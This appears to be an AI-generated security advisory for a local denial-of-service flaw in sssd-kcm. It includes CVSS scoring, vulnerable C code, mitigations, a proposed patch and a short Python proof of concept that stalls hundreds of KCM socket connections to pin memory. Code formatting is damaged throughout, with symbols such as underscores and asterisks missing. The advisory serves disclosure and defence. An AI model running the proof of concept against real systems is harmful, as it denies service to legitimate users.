CVE-2026-80048: Sssd: sssd-kcm: local denial of service via excessive memory preallocation

AIONLYREPORT package: sssd-2.12.0-1.el10 ------ Summary: Local DoS in sssd-kcm via preallocation of attacker-controlled request length: client-supplied request lengths are trusted for full preallocation before the request body arrives, allowing a local client that can reach the KCM socket to pin large responder allocations by stalling many connections. Requirements to exploit: A local user or process that can connect to the sssd-kcm UNIX socket, open many concurrent connections, send only the 4-byte length header for a large request, and keep those connections open until idle cleanup. Component affected: sssd-2.12.0-1.el10, src/responder/kcm/kcmsrvcmd.c, primarily kcmrecvdata() with the EAGAIN handling path in kcmrecv(). Version affected: sssd-2.12.0-1.el10; reachability depends on deployments that enable the sssd-kcm responder and permit local clients to connect to its UNIX socket. Patch available: no released package fix established; proposed patch included below Version fixed: unknown Upstream coordination: Not notified. CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H - 5.5 (MEDIUM) AV:L - Exploitation requires local access to the KCM UNIX socket. AC:L - The attack only requires sending a valid length header and then stalling the connection. PR:L - The attacker needs a local user context that can connect to the socket. UI:N - No victim interaction is required. S:U - The impact is contained within the vulnerable component's own security scope. C:N - No confidentiality impact is established by the available evidence. I:N - No integrity impact is established by the available evidence. A:H - Repeated stalled connections can pin large allocations and deny availability of the KCM responder; broader system memory pressure is also plausible. Impact: Moderate. Under Red Hat's severity guidance this is better classified as Moderate than Important because the issue is local and configuration-dependent, but in affected deployments it can still cause meaningful availability loss by exhausting responder memory. The available evidence does not show confidentiality impact, integrity impact, privilege escalation, or easy remote compromise. Embargo: no Reason: This is a local, configuration-dependent denial of service with straightforward operational mitigations, and the available evidence does not show the kind of high-risk remote compromise that would typically justify embargo. Acknowledgement: Aisle Research Vulnerability Details: kcmrecvdata() reads the 4-byte client-supplied request length, enforces only the protocol maximum, and allocates the full declared payload buffer before the payload is present: c msglen = kcminputgetpayloadlen(&reqbuf->vlen); if (msglen > KCMPACKETMAXSIZE) { DEBUG(SSSDBGCRITFAILURE, "Request exceeds the KCM protocol limit, aborting\n"); return E2BIG; } msg = tallocarray(memctx, uint8t, msglen); if (msg == NULL) { DEBUG(SSSDBGCRITFAILURE, "Failed to allocate memory for the message\n"); return ENOMEM; } tallocsetdestructor((void ) msg, ssserasetallocmemsecurely); / Set the buffer and its expected len to receive the data / reqbuf->vmsg.kiovbase = msg; reqbuf->vmsg.kiovlen = msglen; ret = kcmreadiovec(fd, &reqbuf->vmsg); if (ret != EOK) { / Not all errors are fatal, hence we don't print DEBUG messages here, but in the caller / return ret; }

If the client sends only the length header and does not send the body, the caller leaves the connection open on EAGAIN: c case EAGAIN: DEBUG(SSSDBGTRACEALL, "Retry later\n"); return; The request state is tied to the connection context, so the attacker-controlled allocation remains associated with the live connection until the client disconnects or the client idle timeout expires. The available material identifies KCMPACKETMAXSIZE as 1010241024, the default clientidletimeout as 300 seconds, and the default fdlimit as 2048. In practice this creates roughly 10 MiB of retained memory per stalled connection until cleanup, making memory exhaustion possible with repeated concurrent connections from a local socket client. Steps to reproduce: 1. On a system where sssd-kcm is enabled and the test user can connect to its UNIX socket, start the socket-activated service if needed with systemctl start sssd-kcm.socket. 2. Confirm the socket path. The default path is /var/run/.heimorg.h5l.kcm-socket. 3. Run the following PoC from a local account that can connect to that socket: python #!/usr/bin/env python3 import socket, struct sockpath = "/var/run/.heimorg.h5l.kcm-socket" N = 300 socks = [] for in range(N): s = socket.socket(socket.AFUNIX, socket.SOCKSTREAM) s.connect(sockpath) s.sendall(struct.pack(">I", 1010241024)) # length only, no body socks.append(s) input("Holding connections; press Enter to exit...\n") 4. Observe the responder's RSS increasing by roughly N 10MB and remaining elevated until idle cleanup closes the stalled connections. Mitigation: Restrict access to the KCM UNIX socket to trusted local users where possible. Where operationally acceptable, lowering clientidletimeout and fdlimit reduces the amount of memory that can remain pinned before cleanup. Deployments that do not require sssd-kcm can disable it until a fix is available. Proposed Fix: Avoid preallocating the full attacker-controlled payload size. Read the request body incrementally and grow the buffer only as bytes actually arrive. diff diff --git a/src/responder/kcm/kcmsrvcmd.c b/src/responder/kcm/kcmsrvcmd.c index 0000000..0000000 100644 — a/src/responder/kcm/kcmsrvcmd.c +++ b/src/responder/kcm/kcmsrvcmd.c @@ -418,7 +418,10 @@ static errnot kcmrecvdata(TALLOCCTX memctx, int fd, struct kcmreqbuf reqbuf) { uint8t msg; + uint8t msg = reqbuf->vmsg.kiovbase; + sizet alloclen = reqbuf->vmsg.kiovlen; + const sizet chunk = 4096; + sizet target; uint32t msglen; errnot ret; @@ -438,16 +441,42 @@ static errnot kcmrecvdata(TALLOCCTX memctx, return E2BIG; }

msg = tallocarray(memctx, uint8t, msglen);

if (msg == NULL) {

DEBUG(SSSDBGCRITFAILURE,

"Failed to allocate memory for the message\n");

return ENOMEM; + if (reqbuf->vmsg.nprocessed == 0 && msg == NULL) { + alloclen = 0; }

tallocsetdestructor((void ) msg, ssserasetallocmemsecurely);

/ Set the buffer and its expected len to receive the data /

reqbuf->vmsg.kiovbase = msg;

reqbuf->vmsg.kiovlen = msglen; + while (reqbuf->vmsg.nprocessed < msglen) { + target = reqbuf->vmsg.nprocessed + chunk; + if (target > msglen) { + target = msglen; + } + + if (alloclen < target) { + uint8t tmp = tallocrealloc(memctx, msg, uint8t, target); + if (tmp == NULL) { + DEBUG(SSSDBGCRITFAILURE, + "Failed to grow message buffer\n"); + return ENOMEM; + } + msg = tmp; + alloclen = target; + tallocsetdestructor((void ) msg, ssserasetallocmemsecurely); + } + + reqbuf->vmsg.kiovbase = msg; + reqbuf->vmsg.kiovlen = alloclen; + ret = kcmreadiovec(fd, &reqbuf->vmsg); + if (ret == EAGAIN) { + return EAGAIN; + } + if (ret != EOK) { + return ret; + } + }

ret = kcmreadiovec(fd, &reqbuf->vmsg);

if (ret != EOK) {

/ Not all errors are fatal, hence we don't print DEBUG messages

here, but in the caller

/

return ret;

} + reqbuf->vmsg.kiovbase = msg; + reqbuf->vmsg.kiovlen = msglen;

return EOK; } ------ This report was generated using AI technology. Always review AI-generated content prior to use

— Red Hat